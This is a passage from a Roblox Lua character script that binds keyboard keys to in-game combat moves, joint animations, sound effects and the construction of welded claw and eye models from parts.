2795 | attacktwo() | |
2796 | elseif attack==false and attacktype==3 then | |
2797 | attacktype=4 | |
2798 | attackthree() | |
2799 | elseif attack==false and attacktype==4 then | |
2800 | attacktype=1 | |
2801 | attackfour() | |
2802 | end | |
2803 | end) | |
2804 | ||
2805 | mouse.KeyDown:connect(function(k) | |
2806 | k=k:lower() | |
2807 | if k=='e' then | |
2808 | if attack==false and mana>=20 then | |
2809 | Push() | |
2810 | end | |
2811 | elseif k=='g' then | |
2812 | if attack==false and mana>=50 then | |
2813 | Twirl() | |
2814 | end | |
2815 | elseif k=='v' then | |
2816 | if attack==false and mana>=25 then | |
2817 | MagicJump() | |
2818 | end | |
2819 | elseif k=='c' then | |
2820 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2821 | attack=true | |
2822 | for i = 1, 40 do | |
2823 | swait() | |
2824 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2825 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2826 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2827 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2828 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2829 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2830 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2831 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2832 | end | |
2833 | Blaze() | |
2834 | attack = false | |
2835 | end | |
2836 | elseif k=='x' then | |
2837 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2838 | attack=true | |
2839 | for i = 1, 15 do | |
2840 | swait() | |
2841 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2842 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2843 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2844 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2845 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2846 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2847 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2848 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2849 | end | |
2850 | so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35) | |
2851 | so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65) | |
2852 | for i = 0, 30 do | |
2853 | BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5) | |
2854 | wait(0.1) | |
2855 | end | |
2856 | local parteffected = Instance.new("Part",tors) | |
2857 | parteffected.Transparency = 1 | |
2858 | parteffected.Position = tors.Position | |
2859 | parteffected.CanCollide = false | |
2860 | parteffected.Anchored = true | |
2861 | so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5) | |
2862 | so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4) | |
2863 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15) | |
2864 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05) | |
2865 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05) | |
2866 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30) | |
2867 | local sbs = Instance.new("BodyPosition", RootPart) | |
2868 | sbs.P = 3000 | |
2869 | sbs.D = 1000 | |
2870 | sbs.maxForce = Vector3.new(500000, 500000000, 500000) | |
2871 | sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0) | |
2872 | for i = 1, 40 do | |
2873 | swait() | |
2874 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2875 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2876 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2877 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2878 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2879 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2880 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2881 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2882 | end | |
2883 | wait(3) | |
2884 | Blaze2() | |
2885 | attack = false | |
2886 | parteffected:Destroy() | |
2887 | sbs:Destroy() | |
2888 | end | |
2889 | elseif k=='q' then | |
2890 | if attack==false then | |
2891 | idle=1000 | |
2892 | end | |
2893 | elseif k=='h' then | |
2894 | if attack==false then | |
2895 | mana=100 | |
2896 | end | |
2897 | elseif k=='y' then | |
2898 | if attack==false and mana>=100 then | |
2899 | Shred() | |
2900 | end | |
2901 | elseif k=='f' then | |
2902 | if attack==false and mana>=40 then | |
2903 | Spin() | |
2904 | end | |
2905 | elseif k=='r' then | |
2906 | if attack==false and mana>=20 then | |
2907 | Clap() | |
2908 | end | |
2909 | elseif k=='t' then | |
2910 | if attack==false then | |
2911 | Hai() | |
2912 | end | |
2913 | elseif k=='0' then | |
2914 | if attack==false then | |
2915 | Humanoid.WalkSpeed=(24) | |
2916 | end | |
2917 | elseif k=='j' then | |
2918 | if attack==false then | |
2919 | Humanoid.Health = 10 | |
2920 | print("Congrats, you commited suicide.") | |
2921 | end | |
2922 | end | |
2923 | end) | |
2924 | ||
2925 | mouse.KeyDown:connect(function(k) | |
2926 | if k == "z" and Ultramode == false then | |
2927 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2928 | attack = true | |
2929 | for i = 1, 15 do | |
2930 | swait() | |
2931 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2932 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2933 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2934 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2935 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2936 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2937 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2938 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2939 | end | |
2940 | m:Destroy() | |
2941 | local m = Instance.new("Model", Character) | |
2942 | m.Name = "WeaponModel" | |
2943 | local parta = Instance.new("Part",Character) | |
2944 | parta.Size = vt(10,10,10) | |
2945 | parta.BrickColor = BrickColor.new("Really black") | |
2946 | parta.Material = "Neon" | |
2947 | parta.Shape = "Ball" | |
2948 | parta.Transparency = 0 | |
2949 | parta.Anchored = true | |
2950 | parta.CanCollide = false | |
2951 | parta.CFrame = tors.CFrame | |
2952 | Transform() | |
2953 | parta:Destroy() | |
2954 | ||
2955 | local modelzorzz=Instance.new("Model") | |
2956 | modelzorzz.Parent=Character | |
2957 | modelzorzz.Name="Claw1" | |
2958 | ||
2959 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
2960 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2961 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2962 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2963 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2964 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2965 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2966 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2967 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2968 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2969 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2970 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2971 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2972 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2973 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2974 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2975 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2976 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2977 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2978 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2979 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2980 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2981 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2982 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2983 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2984 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2985 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2986 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2987 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2988 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2989 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2990 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2991 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2992 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2993 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2994 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2995 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2996 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2997 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2998 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2999 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3000 | ||
3001 | local modelzorzz2=Instance.new("Model") | |
3002 | modelzorzz2.Parent=Character | |
3003 | modelzorzz2.Name="Claw2" | |
3004 | ||
3005 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
3006 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
3007 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
3008 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3009 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
3010 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3011 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
3012 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3013 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
3014 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3015 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
3016 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3017 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3018 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
3019 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3020 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3021 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
3022 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3023 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
3024 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3025 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3026 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
3027 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3028 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
3029 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3030 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3031 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
3032 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3033 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
3034 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3035 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3036 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
3037 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3038 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
3039 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3040 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
3041 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
3042 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
3043 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
3044 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3045 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
3046 | ||
3047 | local modelzorzz3=Instance.new("Model") | |
3048 | modelzorzz3.Parent=Character | |
3049 | modelzorzz3.Name="Eye" | |
3050 | ||
3051 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3052 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
3053 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
3054 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3055 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3056 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
3057 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3058 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3059 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
3060 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
